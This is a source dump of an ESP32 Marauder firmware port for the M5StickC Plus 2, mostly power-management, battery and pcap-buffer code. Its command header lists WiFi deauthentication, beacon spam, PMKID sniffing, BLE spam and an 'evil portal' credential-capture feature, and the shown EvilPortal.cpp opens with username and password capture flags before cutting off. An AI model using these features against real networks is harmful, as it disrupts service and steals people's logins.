338 | float AXP192::GetBatVoltage() {
339 | float ADCLSB = 1.1 / 1000.0;
340 | uint16_t ReData = Read12Bit(0x78);
341 | return ReData * ADCLSB;
342 | }
343 |
344 | float AXP192::GetBatCurrent() {
345 | float ADCLSB = 0.5;
346 | uint16_t CurrentIn = Read13Bit(0x7A);
347 | uint16_t CurrentOut = Read13Bit(0x7C);
348 | return (CurrentIn - CurrentOut) * ADCLSB;
349 | }
350 |
351 | float AXP192::GetVinVoltage() {
352 | float ADCLSB = 1.7 / 1000.0;
353 | uint16_t ReData = Read12Bit(0x56);
354 | return ReData * ADCLSB;
355 | }
356 |
357 | float AXP192::GetVinCurrent() {
358 | float ADCLSB = 0.625;
359 | uint16_t ReData = Read12Bit(0x58);
360 | return ReData * ADCLSB;
361 | }
362 |
363 | float AXP192::GetVBusVoltage() {
364 | float ADCLSB = 1.7 / 1000.0;
365 | uint16_t ReData = Read12Bit(0x5A);
366 | return ReData * ADCLSB;
367 | }
368 |
369 | float AXP192::GetVBusCurrent() {
370 | float ADCLSB = 0.375;
371 | uint16_t ReData = Read12Bit(0x5C);
372 | return ReData * ADCLSB;
373 | }
374 |
375 | float AXP192::GetTempInAXP192() {
376 | float ADCLSB = 0.1;
377 | const float OFFSET_DEG_C = -144.7;
378 | uint16_t ReData = Read12Bit(0x5E);
379 | return OFFSET_DEG_C + ReData * ADCLSB;
380 | }
381 |
382 | float AXP192::GetBatPower() {
383 | float VoltageLSB = 1.1;
384 | float CurrentLCS = 0.5;
385 | uint32_t ReData = Read24bit(0x70);
386 | return VoltageLSB * CurrentLCS * ReData / 1000.0;
387 | }
388 |
389 | float AXP192::GetBatChargeCurrent() {
390 | float ADCLSB = 0.5;
391 | uint16_t ReData = Read12Bit(0x7A);
392 | return ReData * ADCLSB;
393 | }
394 | float AXP192::GetAPSVoltage() {
395 | float ADCLSB = 1.4 / 1000.0;
396 | uint16_t ReData = Read12Bit(0x7E);
397 | return ReData * ADCLSB;
398 | }
399 |
400 | float AXP192::GetBatCoulombInput() {
401 | uint32_t ReData = Read32bit(0xB0);
402 | return ReData * 65536 * 0.5 / 3600 / 25.0;
403 | }
404 |
405 | float AXP192::GetBatCoulombOut() {
406 | uint32_t ReData = Read32bit(0xB4);
407 | return ReData * 65536 * 0.5 / 3600 / 25.0;
408 | }
409 |
410 | void AXP192::SetCoulombClear() {
411 | Write1Byte(0xB8, 0x20);
412 | }
413 |
414 | void AXP192::SetLDO2(bool State) {
415 | uint8_t buf = Read8bit(0x12);
416 | if (State == true)
417 | buf = (1 << 2) | buf;
418 | else
419 | buf = ~(1 << 2) & buf;
420 | Write1Byte(0x12, buf);
421 | }
422 |
423 | // Cut all power, except for LDO1 (RTC)
424 | void AXP192::PowerOff() {
425 | Write1Byte(0x32, Read8bit(0x32) | 0x80); // MSB for Power Off
426 | }
427 |
428 | void AXP192::SetPeripherialsPower(uint8_t state) {
429 | if (!state)
430 | Write1Byte(0x10, Read8bit(0x10) & 0XFB);
431 | else if (state)
432 | Write1Byte(0x10, Read8bit(0x10) | 0X04);
433 | // uint8_t data;
434 | // Set EXTEN to enable 5v boost
435 | }
436 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/AXP192.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef __AXP192_H__
4 | #define __AXP192_H__
5 |
6 | #include
7 | #include
8 |
9 | #define SLEEP_MSEC(us) (((uint64_t)us) * 1000L)
10 | #define SLEEP_SEC(us) (((uint64_t)us) * 1000000L)
11 | #define SLEEP_MIN(us) (((uint64_t)us) * 60L * 1000000L)
12 | #define SLEEP_HR(us) (((uint64_t)us) * 60L * 60L * 1000000L)
13 |
14 | class AXP192 {
15 | public:
16 | AXP192();
17 | void begin(void);
18 | void ScreenBreath(int brightness);
19 | void ScreenSwitch(bool state);
20 |
21 | bool GetBatState();
22 |
23 | void EnableCoulombcounter(void);
24 | void DisableCoulombcounter(void);
25 | void StopCoulombcounter(void);
26 | void ClearCoulombcounter(void);
27 | uint32_t GetCoulombchargeData(void);
28 | uint32_t GetCoulombdischargeData(void);
29 | float GetCoulombData(void);
30 |
31 | uint16_t GetVbatData(void) __attribute__((deprecated));
32 | uint16_t GetIchargeData(void) __attribute__((deprecated));
33 | uint16_t GetIdischargeData(void) __attribute__((deprecated));
34 | uint16_t GetTempData(void) __attribute__((deprecated));
35 | uint32_t GetPowerbatData(void) __attribute__((deprecated));
36 | uint16_t GetVinData(void) __attribute__((deprecated));
37 | uint16_t GetIinData(void) __attribute__((deprecated));
38 | uint16_t GetVusbinData(void) __attribute__((deprecated));
39 | uint16_t GetIusbinData(void) __attribute__((deprecated));
40 | uint16_t GetVapsData(void) __attribute__((deprecated));
41 | uint8_t GetBtnPress(void);
42 |
43 | // -- sleep
44 | void SetSleep(void);
45 | void DeepSleep(uint64_t time_in_us = 0);
46 | void LightSleep(uint64_t time_in_us = 0);
47 | uint8_t GetWarningLeve(void);
48 |
49 | public:
50 | // void SetChargeVoltage( uint8_t );
51 | // void SetChargeCurrent( uint8_t );
52 | float GetBatVoltage();
53 | float GetBatCurrent();
54 | float GetVinVoltage();
55 | float GetVinCurrent();
56 | float GetVBusVoltage();
57 | float GetVBusCurrent();
58 | float GetTempInAXP192();
59 | float GetBatPower();
60 | float GetBatChargeCurrent();
61 | float GetAPSVoltage();
62 | float GetBatCoulombInput();
63 | float GetBatCoulombOut();
64 | uint8_t GetWarningLevel(void);
65 | void SetCoulombClear();
66 | void SetLDO2(bool State);
67 | void SetPeripherialsPower(uint8_t state);
68 |
69 | // -- Power Off
70 | void PowerOff();
71 |
72 | public:
73 | void Write1Byte(uint8_t Addr, uint8_t Data);
74 | uint8_t Read8bit(uint8_t Addr);
75 | uint16_t Read12Bit(uint8_t Addr);
76 | uint16_t Read13Bit(uint8_t Addr);
77 | uint16_t Read16bit(uint8_t Addr);
78 | uint32_t Read24bit(uint8_t Addr);
79 | uint32_t Read32bit(uint8_t Addr);
80 | void ReadBuff(uint8_t Addr, uint8_t Size, uint8_t *Buff);
81 | };
82 |
83 | #endif
84 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/BatteryInterface.cpp:
--------------------------------------------------------------------------------
1 | #include "BatteryInterface.h"
2 | #include "lang_var.h"
3 | BatteryInterface::BatteryInterface() {
4 |
5 | }
6 |
7 | void BatteryInterface::main(uint32_t currentTime) {
8 | if (currentTime != 0) {
9 | if (currentTime - initTime >= 3000) {
10 | //Serial.println("Checking Battery Level");
11 | this->initTime = millis();
12 | int8_t new_level = this->getBatteryLevel();
13 | //this->battery_level = this->getBatteryLevel();
14 | if (this->battery_level != new_level) {
15 | Serial.println(text00 + (String)new_level);
16 | this->battery_level = new_level;
17 | }
18 | }
19 | }
20 | }
21 |
22 | void BatteryInterface::RunSetup() {
23 | Wire.begin(I2C_SDA, I2C_SCL);
24 | this->initTime = millis();
25 | }
26 |
27 | int8_t BatteryInterface::getBatteryLevel() {
28 | Wire.beginTransmission(IP5306_ADDR);
29 | Wire.write(0x78);
30 | if (Wire.endTransmission(false) == 0 &&
31 | Wire.requestFrom(0x75, 1)) {
32 | this->i2c_supported = true;
33 | switch (Wire.read() & 0xF0) {
34 | case 0xE0: return 25;
35 | case 0xC0: return 50;
36 | case 0x80: return 75;
37 | case 0x00: return 100;
38 | default: return 0;
39 | }
40 | }
41 | this->i2c_supported = false;
42 | return -1;
43 | }
44 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/BatteryInterface.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef BatteryInterface_h
4 | #define BatteryInterface_h
5 |
6 | #include
7 |
8 | #include "configs.h"
9 |
10 | #include
11 |
12 | #define I2C_SDA 33
13 | #define I2C_SCL 22
14 | #define IP5306_ADDR 0x75
15 |
16 | class BatteryInterface {
17 | private:
18 | uint32_t initTime = 0;
19 |
20 | public:
21 | int8_t battery_level = 0;
22 | int8_t old_level = 0;
23 | bool i2c_supported = false;
24 |
25 | BatteryInterface();
26 |
27 | void RunSetup();
28 | void main(uint32_t currentTime);
29 | int8_t getBatteryLevel();
30 | };
31 |
32 | #endif
33 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/Buffer.cpp:
--------------------------------------------------------------------------------
1 | #include "Buffer.h"
2 | #include "lang_var.h"
3 |
4 | Buffer::Buffer(){
5 | bufA = (uint8_t*)malloc(BUF_SIZE);
6 | bufB = (uint8_t*)malloc(BUF_SIZE);
7 | }
8 |
9 | void Buffer::createPcapFile(fs::FS* fs, String fn, bool log){
10 | int i=0;
11 | if (!log) {
12 | do{
13 | fileName = "/"+fn+"_"+(String)i+".pcap";
14 | i++;
15 | } while(fs->exists(fileName));
16 | }
17 | else {
18 | do{
19 | fileName = "/"+fn+"_"+(String)i+".log";
20 | i++;
21 | } while(fs->exists(fileName));
22 | }
23 |
24 | Serial.println(fileName);
25 |
26 | file = fs->open(fileName, FILE_WRITE);
27 | file.close();
28 | }
29 |
30 | void Buffer::open(bool log){
31 | bufSizeA = 0;
32 | bufSizeB = 0;
33 |
34 | bufSizeB = 0;
35 |
36 | writing = true;
37 |
38 | if (!log) {
39 | write(uint32_t(0xa1b2c3d4)); // magic number
40 | write(uint16_t(2)); // major version number
41 | write(uint16_t(4)); // minor version number
42 | write(int32_t(0)); // GMT to local correction
43 | write(uint32_t(0)); // accuracy of timestamps
44 | write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
45 | write(uint32_t(105)); // data link type
46 | }
47 | }
48 |
49 | void Buffer::close(fs::FS* fs){
50 | if(!writing) return;
51 | forceSave(fs);
52 | writing = false;
53 | Serial.println(text01);
54 | }
55 |
56 | void Buffer::addPacket(uint8_t* buf, uint32_t len, bool log){
57 | // buffer is full -> drop packet
58 | if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){
59 | //Serial.print(";");
60 | return;
61 | }
62 |
63 | if(useA && bufSizeA + len + 16 >= BUF_SIZE && bufSizeB == 0){
64 | useA = false;
65 | //Serial.println("\nswitched to buffer B");
66 | }
67 | else if(!useA && bufSizeB + len + 16 >= BUF_SIZE && bufSizeA == 0){
68 | useA = true;
69 | //Serial.println("\nswitched to buffer A");
70 | }
71 |
72 | uint32_t microSeconds = micros(); // e.g. 45200400 => 45s 200ms 400us
73 | uint32_t seconds = (microSeconds/1000)/1000; // e.g. 45200400/1000/1000 = 45200 / 1000 = 45s
74 |
75 | microSeconds -= seconds*1000*1000; // e.g. 45200400 - 45*1000*1000 = 45200400 - 45000000 = 400us (because we only need the offset)
76 |
77 | if (!log) {
78 | write(seconds); // ts_sec
79 | write(microSeconds); // ts_usec
80 | write(len); // incl_len
81 | write(len); // orig_len
82 | }
83 |
84 | write(buf, len); // packet payload
85 | }
86 |
87 | void Buffer::write(int32_t n){
88 | uint8_t buf[4];
89 | buf[0] = n;
90 | buf[1] = n >> 8;
91 | buf[2] = n >> 16;
92 | buf[3] = n >> 24;
93 | write(buf,4);
94 | }
95 |
96 | void Buffer::write(uint32_t n){
97 | uint8_t buf[4];
98 | buf[0] = n;
99 | buf[1] = n >> 8;
100 | buf[2] = n >> 16;
101 | buf[3] = n >> 24;
102 | write(buf,4);
103 | }
104 |
105 | void Buffer::write(uint16_t n){
106 | uint8_t buf[2];
107 | buf[0] = n;
108 | buf[1] = n >> 8;
109 | write(buf,2);
110 | }
111 |
112 | void Buffer::write(uint8_t* buf, uint32_t len){
113 | if(!writing) return;
114 |
115 | if(useA){
116 | memcpy(&bufA[bufSizeA], buf, len);
117 | bufSizeA += len;
118 | }else{
119 | memcpy(&bufB[bufSizeB], buf, len);
120 | bufSizeB += len;
121 | }
122 | }
123 |
124 | void Buffer::save(fs::FS* fs){
125 | if(saving) return; // makes sure the function isn't called simultaneously on different cores
126 |
127 | // buffers are already emptied, therefor saving is unecessary
128 | if((useA && bufSizeB == 0) || (!useA && bufSizeA == 0)){
129 | //Serial.printf("useA: %s, bufA %u, bufB %u\n",useA ? "true" : "false",bufSizeA,bufSizeB); // for debug porpuses
130 | return;
131 | }
132 |
133 | //Serial.println("saving file");
134 |
135 | uint32_t startTime = millis();
136 | uint32_t finishTime;
137 |
138 | file = fs->open(fileName, FILE_APPEND);
139 | if (!file) {
140 | Serial.println(text02 + fileName+"'");
141 | //useSD = false;
142 | return;
143 | }
144 |
145 | saving = true;
146 |
147 | uint32_t len;
148 |
149 | if(useA){
150 | file.write(bufB, bufSizeB);
151 | len = bufSizeB;
152 | bufSizeB = 0;
153 | }
154 | else{
155 | file.write(bufA, bufSizeA);
156 | len = bufSizeA;
157 | bufSizeA = 0;
158 | }
159 |
160 | file.close();
161 |
162 | finishTime = millis() - startTime;
163 |
164 | //Serial.printf("\n%u bytes written for %u ms\n", len, finishTime);
165 |
166 | saving = false;
167 |
168 | }
169 |
170 | void Buffer::forceSave(fs::FS* fs){
171 | uint32_t len = bufSizeA + bufSizeB;
172 | if(len == 0) return;
173 |
174 | file = fs->open(fileName, FILE_APPEND);
175 | if (!file) {
176 | Serial.println(text02+fileName+"'");
177 | //useSD = false;
178 | return;
179 | }
180 |
181 | saving = true;
182 | writing = false;
183 |
184 | if(useA){
185 |
186 | if(bufSizeB > 0){
187 | file.write(bufB, bufSizeB);
188 | bufSizeB = 0;
189 | }
190 |
191 | if(bufSizeA > 0){
192 | file.write(bufA, bufSizeA);
193 | bufSizeA = 0;
194 | }
195 |
196 | } else {
197 |
198 | if(bufSizeA > 0){
199 | file.write(bufA, bufSizeA);
200 | bufSizeA = 0;
201 | }
202 |
203 | if(bufSizeB > 0){
204 | file.write(bufB, bufSizeB);
205 | bufSizeB = 0;
206 | }
207 |
208 | }
209 |
210 | file.close();
211 |
212 | //Serial.printf("saved %u bytes\n",len);
213 |
214 | saving = false;
215 | writing = true;
216 | }
217 |
218 | void Buffer::forceSaveSerial() {
219 | uint32_t len = bufSizeA + bufSizeB;
220 | if(len == 0) return;
221 |
222 | saving = true;
223 | writing = false;
224 |
225 | if(useA){
226 | if(bufSizeB > 0){
227 | Serial1.write(bufB, bufSizeB);
228 | bufSizeB = 0;
229 | }
230 | if(bufSizeA > 0){
231 | Serial1.write(bufA, bufSizeA);
232 | bufSizeA = 0;
233 | }
234 | } else {
235 | if(bufSizeA > 0){
236 | Serial1.write(bufA, bufSizeA);
237 | bufSizeA = 0;
238 | }
239 | if(bufSizeB > 0){
240 | Serial1.write(bufB, bufSizeB);
241 | bufSizeB = 0;
242 | }
243 | }
244 |
245 | saving = false;
246 | writing = true;
247 | }
248 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/Buffer.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef Buffer_h
4 | #define Buffer_h
5 |
6 | #include "Arduino.h"
7 | #include "FS.h"
8 | #include "settings.h"
9 | //#include "SD_MMC.h"
10 |
11 | #define BUF_SIZE 3 * 1024 // Had to reduce buffer size to save RAM. GG @spacehuhn
12 | #define SNAP_LEN 2324 // max len of each recieved packet
13 |
14 | //extern bool useSD;
15 |
16 | extern Settings settings_obj;
17 |
18 | class Buffer {
19 | public:
20 | Buffer();
21 | void createPcapFile(fs::FS* fs, String fn = "", bool log = false);
22 | void open(bool log = false);
23 | void close(fs::FS* fs);
24 | void addPacket(uint8_t* buf, uint32_t len, bool log = false);
25 | void save(fs::FS* fs);
26 | void forceSave(fs::FS* fs);
27 | void forceSaveSerial();
28 | private:
29 | void write(int32_t n);
30 | void write(uint32_t n);
31 | void write(uint16_t n);
32 | void write(uint8_t* buf, uint32_t len);
33 |
34 | uint8_t* bufA;
35 | uint8_t* bufB;
36 |
37 | uint32_t bufSizeA = 0;
38 | uint32_t bufSizeB = 0;
39 |
40 | bool writing = false; // acceppting writes to buffer
41 | bool useA = true; // writing to bufA or bufB
42 | bool saving = false; // currently saving onto the SD card
43 |
44 | String fileName = "/0.pcap";
45 | File file;
46 | };
47 |
48 | #endif
49 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/CommandLine.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef CommandLine_h
4 | #define CommandLine_h
5 |
6 | #include "configs.h"
7 |
8 | #ifdef HAS_SCREEN
9 | #include "MenuFunctions.h"
10 | #include "Display.h"
11 | #endif
12 |
13 | #include "WiFiScan.h"
14 | //#include "Web.h"
15 | #ifdef HAS_SD
16 | #include "SDInterface.h"
17 | #endif
18 | #include "settings.h"
19 | #include "LedInterface.h"
20 |
21 | #ifdef HAS_SCREEN
22 | extern MenuFunctions menu_function_obj;
23 | extern Display display_obj;
24 | #endif
25 |
26 | extern WiFiScan wifi_scan_obj;
27 | //extern Web web_obj;
28 | #ifdef HAS_SD
29 | extern SDInterface sd_obj;
30 | #endif
31 | extern Settings settings_obj;
32 | extern LedInterface led_obj;
33 | extern LinkedList* access_points;
34 | extern LinkedList* ssids;
35 | extern LinkedList* stations;
36 | extern const String PROGMEM version_number;
37 | extern const String PROGMEM board_target;
38 |
39 | //// Commands
40 |
41 | // Admin
42 | const char PROGMEM CH_CMD[] = "channel";
43 | const char PROGMEM CLEARAP_CMD[] = "clearlist";
44 | const char PROGMEM REBOOT_CMD[] = "reboot";
45 | const char PROGMEM UPDATE_CMD[] = "update";
46 | const char PROGMEM HELP_CMD[] = "help";
47 | const char PROGMEM SETTINGS_CMD[] = "settings";
48 | const char PROGMEM LS_CMD[] = "ls";
49 | const char PROGMEM LED_CMD[] = "led";
50 | const char PROGMEM GPS_DATA_CMD[] = "gpsdata";
51 | const char PROGMEM GPS_CMD[] = "gps";
52 | const char PROGMEM NMEA_CMD[] = "nmea";
53 |
54 | // WiFi sniff/scan
55 | const char PROGMEM EVIL_PORTAL_CMD[] = "evilportal";
56 | const char PROGMEM SIGSTREN_CMD[] = "sigmon";
57 | const char PROGMEM SCANAP_CMD[] = "scanap";
58 | const char PROGMEM SCANSTA_CMD[] = "scansta";
59 | const char PROGMEM SNIFF_RAW_CMD[] = "sniffraw";
60 | const char PROGMEM SNIFF_BEACON_CMD[] = "sniffbeacon";
61 | const char PROGMEM SNIFF_PROBE_CMD[] = "sniffprobe";
62 | const char PROGMEM SNIFF_PWN_CMD[] = "sniffpwn";
63 | const char PROGMEM SNIFF_ESP_CMD[] = "sniffesp";
64 | const char PROGMEM SNIFF_DEAUTH_CMD[] = "sniffdeauth";
65 | const char PROGMEM SNIFF_PMKID_CMD[] = "sniffpmkid";
66 | const char PROGMEM STOPSCAN_CMD[] = "stopscan";
67 | const char PROGMEM WARDRIVE_CMD[] = "wardrive";
68 |
69 | // WiFi attack
70 | const char PROGMEM ATTACK_CMD[] = "attack";
71 | const char PROGMEM ATTACK_TYPE_DEAUTH[] = "deauth";
72 | const char PROGMEM ATTACK_TYPE_BEACON[] = "beacon";
73 | const char PROGMEM ATTACK_TYPE_PROBE[] = "probe";
74 | const char PROGMEM ATTACK_TYPE_RR[] = "rickroll";
75 |
76 | // WiFi Aux
77 | const char PROGMEM LIST_AP_CMD[] = "list";
78 | const char PROGMEM SEL_CMD[] = "select";
79 | const char PROGMEM SSID_CMD[] = "ssid";
80 |
81 | // Bluetooth sniff/scan
82 | const char PROGMEM BT_SPAM_CMD[] = "blespam";
83 | const char PROGMEM BT_SNIFF_CMD[] = "sniffbt";
84 | //const char PROGMEM BT_SOUR_APPLE_CMD[] = "sourapple";
85 | //const char PROGMEM BT_SWIFTPAIR_SPAM_CMD[] = "swiftpair";
86 | //const char PROGMEM BT_SAMSUNG_SPAM_CMD[] = "samsungblespam";
87 | //onst char PROGMEM BT_SPAM_ALL_CMD[] = "btspamall";
88 | const char PROGMEM BT_WARDRIVE_CMD[] = "btwardrive";
89 | const char PROGMEM BT_SKIM_CMD[] = "sniffskim";
90 |
91 |
92 | //// Command help messages
93 | // Admin
94 | const char PROGMEM HELP_HEAD[] = "============ Commands ============";
95 | const char PROGMEM HELP_CH_CMD[] = "channel [-s ]";
96 | const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a/-c/-s";
97 | const char PROGMEM HELP_REBOOT_CMD[] = "reboot";
98 | const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s/-w";
99 | const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s enable/disable>]/[-r]";
100 | const char PROGMEM HELP_LS_CMD[] = "ls ";
101 | const char PROGMEM HELP_LED_CMD[] = "led -s /-p ";
102 | const char PROGMEM HELP_GPS_DATA_CMD[] = "gpsdata";
103 | const char PROGMEM HELP_GPS_CMD[] = "gps [-g] \r\n [-n] \r\n [-b = use BD vs GB for beidou]";
104 | const char PROGMEM HELP_NMEA_CMD[] = "nmea";
105 |
106 | // WiFi sniff/scan
107 | const char PROGMEM HELP_EVIL_PORTAL_CMD[] = "evilportal [-c start [-w html.html]/sethtml ]";
108 | const char PROGMEM HELP_SIGSTREN_CMD[] = "sigmon";
109 | const char PROGMEM HELP_SCANAP_CMD[] = "scanap";
110 | const char PROGMEM HELP_SCANSTA_CMD[] = "scansta";
111 | const char PROGMEM HELP_SNIFF_RAW_CMD[] = "sniffraw";
112 | const char PROGMEM HELP_SNIFF_BEACON_CMD[] = "sniffbeacon";
113 | const char PROGMEM HELP_SNIFF_PROBE_CMD[] = "sniffprobe";
114 | const char PROGMEM HELP_SNIFF_PWN_CMD[] = "sniffpwn";
115 | const char PROGMEM HELP_SNIFF_ESP_CMD[] = "sniffesp";
116 | const char PROGMEM HELP_SNIFF_DEAUTH_CMD[] = "sniffdeauth";
117 | const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c ][-d][-l]";
118 | const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan";
119 | const char PROGMEM HELP_WARDRIVE_CMD[] = "wardrive [-s]";
120 |
121 | // WiFi attack
122 | const char PROGMEM HELP_ATTACK_CMD[] = "attack -t ] [-d ]/probe/rickroll>";
123 |
124 | // WiFi Aux
125 | const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s";
126 | const char PROGMEM HELP_LIST_AP_CMD_B[] = "list -a";
127 | const char PROGMEM HELP_LIST_AP_CMD_C[] = "list -c";
128 | const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c /-f \"equals or contains \"";
129 | const char PROGMEM HELP_SSID_CMD_A[] = "ssid -a [-g /-n ]";
130 | const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r ";
131 |
132 | // Bluetooth sniff/scan
133 | const char PROGMEM HELP_BT_SNIFF_CMD[] = "sniffbt";
134 | const char PROGMEM HELP_BT_SPAM_CMD[] = "blespam -t ";
135 | //const char PROGMEM HELP_BT_SOUR_APPLE_CMD[] = "sourapple";
136 | //const char PROGMEM HELP_BT_SWIFTPAIR_SPAM_CMD[] = "swiftpair";
137 | //const char PROGMEM HELP_BT_SAMSUNG_SPAM_CMD[] = "samsungblespam";
138 | //onst char PROGMEM HELP_BT_SPAM_ALL_CMD[] = "btspamall";
139 | const char PROGMEM HELP_BT_WARDRIVE_CMD[] = "btwardrive [-c]";
140 | const char PROGMEM HELP_BT_SKIM_CMD[] = "sniffskim";
141 | const char PROGMEM HELP_FOOT[] = "==================================";
142 |
143 |
144 | class CommandLine {
145 | private:
146 | String getSerialInput();
147 | LinkedList parseCommand(String input, char* delim);
148 | String toLowerCase(String str);
149 | void filterAccessPoints(String filter);
150 | void runCommand(String input);
151 | bool checkValueExists(LinkedList* cmd_args_list, int index);
152 | bool inRange(int max, int index);
153 | bool apSelected();
154 | bool hasSSIDs();
155 | void showCounts(int selected, int unselected = -1);
156 | int argSearch(LinkedList* cmd_args, String key);
157 |
158 | const char* ascii_art =
159 | "\r\n"
160 | " @@@@@@ \r\n"
161 | " @@@@@@@@ \r\n"
162 | " @@@@@@@@@@@ \r\n"
163 | " @@@@@@ @@@@@@ \r\n"
164 | " @@@@@@@ @@@@@@@ \r\n"
165 | " @@@@@@ @@@@@@ \r\n"
166 | " @@@@@@@ @@@@@@@ \r\n"
167 | " @@@@@@ @@@@@@ \r\n"
168 | "@@@@@@@ @@@@@@@@@@@@@@@@ \r\n"
169 | "@@@@@ @@@@@@@@@@@@@@@ \r\n"
170 | "@@@@@ @@@@@@@ \r\n"
171 | "@@@@@ @@@@@@ \r\n"
172 | "@@@@@@ @@@@@@@ \r\n"
173 | " @@@@@@ @@@@@@@@@@@@\r\n"
174 | " @@@@@@@ @@@@@@ \r\n"
175 | " @@@@@@ @@@@@@ \r\n"
176 | " @@@@@@@ @@@@@@ \r\n"
177 | " @@@@@@ @@@@@@ \r\n"
178 | " @@@@@@@ @@@@@@ \r\n"
179 | " @@@@@@ @@@@@@ \r\n"
180 | " @@@@@@@@@ \r\n"
181 | " @@@@@@ \r\n"
182 | " @@@@ \r\n"
183 | "\r\n";
184 |
185 | public:
186 | CommandLine();
187 |
188 | void RunSetup();
189 | void main(uint32_t currentTime);
190 | };
191 |
192 | #endif
193 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/Display.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef Display_h
4 | #define Display_h
5 |
6 | #include "configs.h"
7 |
8 | #ifdef HAS_SCREEN
9 |
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include "SPIFFS.h"
18 | #include "Assets.h"
19 |
20 | #include
21 |
22 | // WiFi stuff
23 | #define OTA_UPDATE 100
24 | #define SHOW_INFO 101
25 | #define WIFI_SCAN_OFF 0
26 | #define WIFI_SCAN_PROBE 1
27 | #define WIFI_SCAN_AP 2
28 | #define WIFI_SCAN_PWN 3
29 | #define WIFI_SCAN_EAPOL 4
30 | #define WIFI_SCAN_DEAUTH 5
31 | #define WIFI_SCAN_ALL 6
32 | #define WIFI_PACKET_MONITOR 7
33 | #define WIFI_ATTACK_BEACON_SPAM 8
34 | #define WIFI_ATTACK_RICK_ROLL 9
35 | #define BT_SCAN_ALL 10
36 | #define BT_SCAN_SKIMMERS 11
37 | #define WIFI_SCAN_ESPRESSIF 12
38 | #define LV_JOIN_WIFI 13
39 | #define LV_ADD_SSID 14
40 | #define WIFI_ATTACK_BEACON_LIST 15
41 |
42 | class Display
43 | {
44 | private:
45 | bool SwitchOn = false;
46 |
47 | bool run_setup = true;
48 |
49 | // For the byte we read from the serial port
50 | byte data = 0;
51 |
52 | // A few test variables used during debugging
53 | boolean change_colour = 1;
54 | boolean selected = 1;
55 |
56 | void drawFrame();
57 |
58 | #ifdef SCREEN_BUFFER
59 | void scrollScreenBuffer(bool down = false);
60 | #endif
61 |
62 | public:
63 | Display();
64 | TFT_eSPI tft = TFT_eSPI();
65 | TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
66 | const String PROGMEM version_number = MARAUDER_VERSION;
67 |
68 | bool printing = false;
69 | bool loading = false;
70 | bool tteBar = false;
71 | bool draw_tft = false;
72 | bool exit_draw = false;
73 | bool headless_mode = false;
74 |
75 | uint8_t TOP_FIXED_AREA_2 = 48;
76 | uint8_t print_delay_1, print_delay_2 = 10;
77 | uint8_t current_banner_pos = SCREEN_WIDTH;
78 |
79 | LinkedList* display_buffer;
80 |
81 | #ifdef SCREEN_BUFFER
82 | LinkedList* screen_buffer;
83 | #endif
84 |
85 | // The initial y coordinate of the top of the bottom text line
86 | uint16_t yDraw = YMAX - BOT_FIXED_AREA - TEXT_HEIGHT;
87 |
88 | // Keep track of the drawing x coordinate
89 | uint16_t xPos = 0;
90 |
91 | // The initial y coordinate of the top of the scrolling area
92 | uint16_t yStart = TOP_FIXED_AREA_2;
93 | // yArea must be a integral multiple of TEXT_HEIGHT
94 | uint16_t yArea = YMAX - TOP_FIXED_AREA_2 - BOT_FIXED_AREA;
95 |
96 | // We have to blank the top line each time the display is scrolled, but this takes up to 13 milliseconds
97 | // for a full width line, meanwhile the serial buffer may be filling... and overflowing
98 | // We can speed up scrolling of short text lines by just blanking the character we drew
99 | int blank[19]; // We keep all the strings pixel lengths to optimise the speed of the top line blanking
100 |
101 | void tftDrawRedOnOffButton();
102 | void tftDrawGreenOnOffButton();
103 | void tftDrawGraphObjects(byte x_scale);
104 | void tftDrawEapolColorKey();
105 | void tftDrawColorKey();
106 | void tftDrawXScaleButtons(byte x_scale);
107 | void tftDrawYScaleButtons(byte y_scale);
108 | void tftDrawChannelScaleButtons(int set_channel);
109 | void tftDrawExitScaleButtons();
110 | void buildBanner(String msg, int xpos);
111 | void clearScreen();
112 | void displayBuffer(bool do_clear = false);
113 | void drawJpeg(const char *filename, int xpos, int ypos);
114 | void getTouchWhileFunction(bool pressed);
115 | void initScrollValues(bool tte = false);
116 | void jpegInfo();
117 | void jpegRender(int xpos, int ypos);
118 | void listDir(fs::FS &fs, const char * dirname, uint8_t levels);
119 | void listFiles();
120 | void main(uint8_t scan_mode);
121 | void RunSetup();
122 | void scrollAddress(uint16_t vsp);
123 | int scroll_line(uint32_t color);
124 | void setupScrollArea(uint16_t tfa, uint16_t bfa);
125 | void showCenterText(String text, int y);
126 | void touchToExit();
127 | void twoPartDisplay(String center_text);
128 | void updateBanner(String msg);
129 | };
130 | #endif
131 | #endif
132 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/EvilPortal.cpp:
--------------------------------------------------------------------------------
1 | #include "EvilPortal.h"
2 |
3 | AsyncWebServer server(80);
4 |
5 | EvilPortal::EvilPortal() {
6 | }
7 |
8 | void EvilPortal::setup() {
9 | this->runServer = false;
10 | this->name_received = false;
11 | this->password_received = false;
12 | this->has_html = false;
13 | this->has_ap = false;
14 |
15 | html_files = new LinkedList();
16 |
17 | html_files->add("Back");
18 |
19 | #ifdef HAS_SD
20 | if (sd_obj.supported) {
